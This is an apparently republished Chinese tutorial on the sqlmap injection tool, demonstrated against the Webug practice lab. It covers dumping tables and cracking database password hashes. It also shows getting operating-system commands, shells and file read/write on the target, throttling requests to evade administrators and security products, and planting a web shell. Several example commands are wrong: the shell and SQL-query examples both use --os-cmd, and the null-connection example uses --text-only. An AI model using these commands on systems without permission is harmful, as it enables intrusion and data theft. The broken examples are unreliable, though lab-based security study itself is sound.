天天动画片 > 八卦谈 > sqlmap基础

sqlmap基础

八卦谈 佚名 2024-03-01 18:29:04


什么是SQLMAP?

Sqlmap是一款由Python语言编写的开源sql注入检测、利用工具,它可以自动检测和利用sql注入漏洞,并且配备了强大的检测引擎,拥有丰富的特性这其中包括了指纹识别、对系统的控制、自动识别密码的散列格式并暴力破解等等,加之非常多的参数,是一款安全从业人员必备的工具。

其他特性:

  • 基于数据库服务进程提权和上传执行后门

  • 支持保存当前会话、断点续扫

  • 支持多线程,指定最大的并发数、执行的间隔时间

  • 支持读取BurpSuite的日志、结合google自动搜索进行sql注入检查

  • 集成于metasploit、w3af

  • 等等

Sqlmap完全支持对MySQL、Oracle、PostgreSQL、Microsoft SQL Serve、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、Informix、HSQLDB、H2数据库管理系统的sql注入检测和利用,sqlmap支持以下五种类型的sql注入:

  • Boolean-based blind SQL injection(布尔型注入)

  • Error-based SQL injection(报错型注入)

  • UNION query SQL injection(联合查询注入)

  • Stacked queries SQL injection(多语句查询注入)

  • Time-based blind SQL injection(基于时间的延迟注入)



SQLMAP的安装

由于SQLMAP是Python2.7版本开发的,所以我们在安装SQLMAP前需要先安装Python(Python官网:www.python.org),本文采用的是Python 2.7.14版本,每个人的电脑环境不一样在安装完Python后添加环境变量并不靠谱,在这里笔者建议在安装的时候选中添加到系统环境变量。



在SQLMAP的官网上下载了安装包后需要解压到Python的安装目录(这里采用的是SQLMAP1.3.73),并在桌面新建一个快捷方式,将目标设置为C:\Windows\System32\cmd.exe,名字为SQLMAP,然后将这个快捷方式属性内的起始位置设置SQLMAP的目录(笔者这里是E:\Python27\sqlmap)



我们双击这个快捷方式,输入sqlmap.py -h如果出现如下所示的参数说明和帮助就代表我们的SQLMAP安装成功了。


常见数据库的结构

我们知道sqlmap支持非常多的关系型数据库,为了更好的学习这个强大的工具我们在这里一起来了解下常见的access数据库和Mysql数据库的结构。

SQLMAP参数




在本章节主要以Webug4.0的sql注入靶场进行讲解,Webug是226安全团队的开源靶场,其名称的含义是我们的漏洞库,也就是我们的靶场,在这里我们将介绍sqlmap绝大多数的常用参数,如读者有兴趣学习其他参数可以使用sqlmap.py -hh命令自行查看(注:读者如是在kali liunx中使用sqlmap只需要执行sqlmap -hh即可)。



SQLMAP的帮助参数


参数


作用


h/--help


显示基本的帮助信息


-hh


显示详细的帮助信息


--version


显示SQLMAP的版本号


-v 0-6


设置输出信息的详细度


注:-v参数有0到6七个等级默认情况下为1,等级1:显示信息和警告、等级2:显示debug信息、等级3:显示注入payload、等级4:显示HTTP请求、等级5:显示HTTP请求的响应头、等级6:显示HTTP请求的响应内容。

SQLMAP的目标参数


参数


作用


-u


指定需要判断是否存在SQL注入漏洞的URL


-d


直接连接到数据库-d”mysql://用户名:密码@地址:端口/数据库名称”


-l


读取BurpSuite的日志,来判断目标是否存在SQL注入漏洞


-m


读取文本文件中的URL地址判断是否存在SQL注入漏洞


--threads


设置最大并发请求数


--timeout


设置等待超时的时间


--retries


设置重试的次数


SQLMAP的枚举参数


参数


作用


-b, --banner


检测出数据库的版本信息


--current-user


检测数据库当前用户的用户名


--current-db


枚举出当前数据库名称


--is-dba


检测当前用户是否是数据库管理员


--users


枚举出所有数据库用户


--passwords


枚举出所有数据库用户的密码哈希


--privileges


枚举数据库管理系统用户的权限


--roles


枚举数据库管理系统用户的角色


--dbs


枚举出所有的数据库


--tables


枚举出所有数据库中所有的表


--columns


枚举出所有数据库表中的列名


--dump


下载数据库中的表项


--dump-all


下载所有的数据库表中的条目


--search


搜索列,表和/或数据库名称


-D


指定要进行枚举的指定数据库名


-T


指定要进行枚举的指定数据库表


-C


指定要进行枚举的数据库列


-U


用来进行枚举的数据库用户


--exclude-sysdbs


枚举表时排除系统数据库


--sql-query=


指定要执行的SQL语句


--sql-shell


提示交互式SQL的shell


SQLMAP的操作系统访问参数


参数


作用


--os-cmd=


指定需要执行操作系统命令


--os-shell


交互式的操作系统的shell


--priv-esc


数据库进程用户权限提升


--file-read=’’


访问操作系统内的文件


--file-write=’’ 


编辑操作系统内的文件


SQLMAP的一般使用参数


参数


作用


--update


更新SQLMAP


--batch


自动选择yes


--output-dir=


自定义输出目录路径


SQLMAP的其他参数


参数


作用


--update


更新SQLMAP


--batch


自动选择yes


--output-dir=


自定义输出目录路径


--smart


启发式判断


SQLMAP扫描漏洞

SQLMAP的基础使用

使用SQLMAP判断是否存在SQL注入

我们靶场存在的SQL注入注入点为

http://192.168.31.41/control/sqlinject/manifest_error.php?id=1,使用的命令如下所示:

sqlmap.py -u ”http://192.168.31.41/control/sqlinject/manifest_error.php?id=1” 

注:-u参数用于指定URL来进行判断是否存在SQL注入漏洞,是必须使用的参数。

批量扫描注入点

如果我们需要批量扫描可能存在注入点的URL的时候,可以将URL以一行一个的形式保存在TXT文本中然后用SQLMAP进行扫描。

注:在使用的时候可以右键点击文件查看属性看一看所在的位置,笔者这里是C:\Users\Administrator\Desktop

编辑

 

编辑


sqlmap.py -m C:\Users\Administrator\Desktop\11.txt

编辑

应对多个参数判断是否存在sql注入漏洞

可能会出现一种情况我们的注入点后面会存在二个参数,我们执行后会出现很多提示,这个时候只需要使用-p参数指定参数即可,或者一直按回车使用sqlmap自动的选项即可。

读取BurpSuite的日志,来判断是否存在注入

在使用此参数前,需要打开BurpSuite的日志记录选项,打开步骤:Project options>Misc>Logging>Proxy勾选Requests>选择保存位置,Burp Suite的Proxy模块日志中包含了完整的HTTP请求,这样我们就可以不用设置像Cookie以及其他的参数,

注:在使用的时候可以右键点击文件查看属性看一看所在的位置,笔者这里是C:\Users\Administrator\Desktop

编辑


使用的命令如下:

sqlmap.py -l C:\Users\Administrator\Desktop\1.log

编辑


如果你想知道当前的数据库的名称可以使用--current-db这个参数去枚举出来:

sqlmap.py -u"http://192.168.1.7/control/sqlinject/manifest_error.php?id=1"--current-db

编辑


如果你想知道当前数据库的用户是什么可以使用--current-user这个参数检测出数据库当前用户的用户名:

sqlmap.py -u"http://192.168.1.7/control/sqlinject/manifest_error.php?id=1" --current-user

编辑


在如今的渗透测试环节里,还都是属于一种“模糊测试”的状态,我们前阶段不可能知道目标的数据库系统内那个数据库才是我们的主要目标,如果发现了注入点我们可以使用—dbs这个参数去枚举出所有的数据库,从而确定我们下一步的目标:

sqlmap.py -u"http://192.168.1.7/control/sqlinject/manifest_error.php?id=1" –dbs

编辑


注:因为是枚举所以速度会有点慢,如上图所示我们已经枚举出来6个数据库。

如果你想要知道所有的数据库用户名称可以使用—users这个参数来举出所有数据库用户:qlmap.py -u"http://192.168.1.7/control/sqlinject/manifest_error.php?id=1" --users

编辑


如果我们想获取到数据库用户的密码则可以使用--passwords 这个参数去枚举出数据库所有用户的密码,虽然获取的仅仅是密码哈希值并不是明文的密码,但sqlmap会提示你是否去进行破解:

sqlmap.py -u"http://192.168.1.7/control/sqlinject/manifest_error.php?id=1" --passwords

编辑

 

编辑



注:如上图所示sqlmap提示我们do you want to perform a dictionary-based attack against retrieved password hashes?是否对获取到的密码哈希进行基于字典的破解,那当然是是(y)

你也可以直接回车执行、接着又问我们what dictionary do you want to use?使用哪个字典呢,我们回车使用sqlmap自带的字典、紧接着sqlmap又再次询问我们do you want to use common password suffixes?是否试一试常用的密码呢?我们回车继续执行,从结果来看root的密码为’root’是一个弱密码。

如果你想知道数据库中有哪些表可以使用—tables这个参数去枚举出所有数据库中所有的表

sqlmap.py -u"http://192.168.1.7/control/sqlinject/manifest_error.php?id=1" --tables

编辑


编辑


如果你想要知道数据库中有哪些列可以使用—columns参数枚举出所有数据库表中的列名:

sqlmap.py -u"http://192.168.1.7/control/sqlinject/manifest_error.php?id=1" --columns

编辑


Webug靶场显错注入关卡实例剖析:

我们确定存在注入后,想在库中寻找我们需要的东西,例如账号密码、flag等信息,首先我们要使用--dbs参数枚举出所有的数据库,在分辨出哪个数据库可以获取出我们需要的信息,枚举出所有的数据库的命令如下。

编辑


sqlmap.py -u"http://192.168.0.107/control/sqlinject/manifest_error.php?id=1" –dbs

在查询到所有的数据库后,猜测flag值可能在名为webug的数据库中我们使用-D参数指定sqlmap去枚举数据库中的表名。

sqlmap.py -u"http://192.168.0.107/control/sqlinject/manifest_error.php?id=1"  -D webug  --tables

编辑


注:我们从结果中可以看到已经枚举出的表,例如我猜测webug的MySQL注入题的flag是在flag这个表内我们就可以去试试了。

我们使用-T去指定我们想要枚举的列的名称,例如名字为flag的列,--columns的作用是显示所有的列。

sqlmap.py -u"http://192.168.0.107/control/sqlinject/manifest_error.php?id=1"  -D webug  -T flag --columns

编辑


编辑


在枚举出列名后我们可以里面的具体信息,使用-C和--dump参数:

sqlmap.py -u"http://192.168.0.107/control/sqlinject/manifest_error.php?id=1"  -D webug  -T flag -C flag –dump

编辑


编辑


得到flag值:dfafdasfafdsadfa

SQLMAP的性能优化

使用--predict-output参数提高检测效率

这个参数主要是根据返回结果与sqlmap自带的一个表(/sqlmap/common-outputs.txt)里面的内容进行比对,缩小范围并使用不同的payloads进行更有针对性的检测,从而提高效率,这其中对比的信息包括Banners、User、Passwords、Privileges、Roles、Databases、Tables、Columns,从下图来看Banners包括了数据库的名称和版本信息。

编辑


由于sqlmap并不知道到目标的数据库是什么版本,它会进行大量的请求,在很可能引起管理员的注意以外还影响了我们的速度,我们使用--predict-output和--vv参数来对存在sql注入的页面进行渗透测试去演示这一参数的使用。

sqlmap.py -u"http://192.168.0.109/control/sqlinject/manifest_error.php?id=1" --predict-output -vvv

编辑


在这里可以看到sqlmap提示我们:GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable这个GET型参数’id’似乎是基于时间的可注射的盲注以及MySQL的版本是 >= 5.0.12的,it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? 后端的数据库操作系统看起来是”Mysql”,你想跳过特定与其他数据库操作系统的测试负荷(Payloads)吗?等等,总的来说这是一个很好的提高效率和速度的参数,但此参数和我们后面要介绍的--threads参数不兼容。

使用--batch参数自动选择yes。

上面我们介绍了使用--predict-output参数来提高检测效率,不单单是这个在前面读者也有看到sqlmap会经常询问我们是否确定Y或者不n,如果你觉得烦或者多开了sqlmap进行使用的时候--batch参数不失为一个好选择,它可以帮助我们自动选择Y去继续,以上面使用--predict-output参数为例,使用--batch参数的方法也是在给定的URL后面添加这个参数:

sqlmap.py -u"http://192.168.0.109/control/sqlinject/manifest_error.php?id=1" --predict-output -vvv --batch

编辑


使用--keep-alive参数启用http(s)长连接

在正常访问基于HTTP协议的网页时,页面上的每一个组成元素都需要我们使用一个单独的TCP连接去获取,而我们都知道米格==每个TCP连接都要经过三次握手,这样会出现在建立众多连接的时候网络流量很大,所消耗的时间也会很大,我们请求了那么多流量却得不到想要的结果,这是显而易见的浪费,由此出现了HTTP长连接,这个长连接指的是我们在不断开连接的情况下传输完所有的页面元素,这样就会省掉时间提高了效率,在这里不建议在多开sqlmap的时候使用--keep-alive参数这样对服务器的开销还是十分的大的,此参数不兼容—proxy参数,因为大多数代理不支持长连接。

例:sqlmap.py -u"http://192.168.0.109/control/sqlinject/manifest_error.php?id=1"--keep-alive

使用--null-connection参数在盲注时通过响应判断真假

这个参数主要适用于盲注类型的sql注入,盲注类型的注入是基于判断真假去做大量的请求来获取信息,例如服务器再给我们返回真的情况下是100个笑脸的页面,返回假的时候是200个笑脸的页面,往返很多很多次的发送请求去猜测和获取信息很容易引起服务器管理员的察觉,在使用了--null-connection的情况下sqlmap只会通过响应包的head(头部)内的长度去判断而不是通过响应包的主体(body)的内容去判断从而也省下了网络带宽,因为sqlmap只要求服务器返回请求包的头部的内容,此参数不兼容--text-only参数,因为--text-only这个参数指的就是仅基于在文本内容比较网页也就是body部分。

例:sqlmap.py -u http://192.168.0.109/control/sqlinject/manifest_error.php?id=1 --text-only

使用-o参数

使用这个参数就代表着同时使用--predict-output、--keep-alive、--null-connection这三个参数。

例:sqlmap.py -u http://192.168.0.109/control/sqlinject/manifest_error.php?id=1 -o

使用--threads参数设置并发线程

一个执行中的程序至少有一个线程,同样做一件事情,我们拥有的线程越多处理的速度就越快,sqlmap最大支持10个线程,这个参数和之前提到的--predict-output参数不兼容。

例:sqlmap.py -u http://192.168.0.109/control/sqlinject/manifest_error.php?id=1 --threads 10

使用--timeout设置等待超时的时间。

在对多个目标进行sql注入渗透测试的时候,往往可能因为一个卡住导致sqlmap一直在等待回应导致卡住不继续,这种情况就可以使用--timeout参数去设置等待超时的时间,默认为30秒。

例:sqlmap.py -u http://192.168.0.109/control/sqlinject/manifest_error.php?id=1 –timeout=35

使用--retries参数设置重试的次数。

在有些情况下,我们所发出去的请求因为种种原因得不到回复,我们在使用sqlmap的时候建议加上这个参数。

SQLMAP的进阶用法

在这一小节我们介绍8个SQLMAP的进阶使用的参数

使用--is-dba参数检测当前用户是否是数据库管理员

在发现了注入点后我们下一步可能是扩大战果,直至获取操作系统最高权限,这个时候数据库当前用户是否是数据库管理员就十分的重要了,此时就可以使用这个参数了。

使用--roles参数枚举出数据库中所有的管理员

在准备扩大战果的过程中可能我们当前数据库的用户并不是管理员账户,基于此情况我们就可以使用--roles参数来继续发现其他管理员账户。

使用--delay参数设置发出每次请求间的延迟

在某些情况下我们是需要控制住我们请求的速度的,例如防止被安全产品拦截、防止被管理员发现,如果需要隐秘那么就可以使用这个参数,这个参数的单位是秒。

例:设置每次请求间的延迟为1秒

sqlmap.py -u"http://192.168.0.109/control/sqlinject/manifest_error.php?id=1" --delay

使用--os-cmd= 参数设置需要执行的操作系统命令

如果你需要执行cmd命令尝试创建一个一句话木马到目标的网站文件夹下,或者查看目标的操作系统上存在哪些文件等等那么你就可以试试这个参数。

例:查看目标操作系统的版本(在操作系统是windows的情况下)

sqlmap.py -u http://192.168.0.109/control/sqlinject/manifest_error.php?id=1 --os-cmd=ver

使用--os-shell 参数获得一个交互式的操作系统的shell

使用这个参数我们就不用一次又一次的使用--os-cmd这个参数了,我们会获得到目标操纵系统的shell,也就是我们常见的cmd来做我们想做的事情。

例:

sqlmap.py -u http://192.168.0.109/control/sqlinject/manifest_error.php?id=1 --os-cmd

使用--sql-query参数设置需要执行的SQL语句

这个参数和前面所提到的--os-cmd参数使用方法不一样,直接附带上这个参数sqlmap会给出一个数据库命令行操作的界面让我们输入需要执行的SQL语句来执行。

例: sqlmap.py -u http://192.168.0.109/control/sqlinject/manifest_error.php?id=1 --os-cmd

使用--file-read=’/xxxx/x.txt’ 参数访问操作系统内的文件

这个参数可以让我们访问目标网站操作系统内的文件

例:sqlmap.py -u http://192.168.0.109/control/sqlinject/manifest_error.php?id=1 --file-read=’ C:\Users\123\Desktop\1.txt’

使用--file-write=’/xxxx/x.txt’参数编辑操作系统内的文件

这个参数可以让我们编辑目标网站操作系统内的文件

例:sqlmap.py -u http://192.168.0.109/control/sqlinject/manifest_error.php?id=1 --file-write =’ C:\Users\123\Desktop\1.txt’


本文标题:sqlmap基础 - 八卦谈
本文地址:www.ttdhp.com/article/49858.html

天天动画片声明:登载此文出于传递更多信息之目的,并不意味着赞同其观点或证实其描述。
扫码关注我们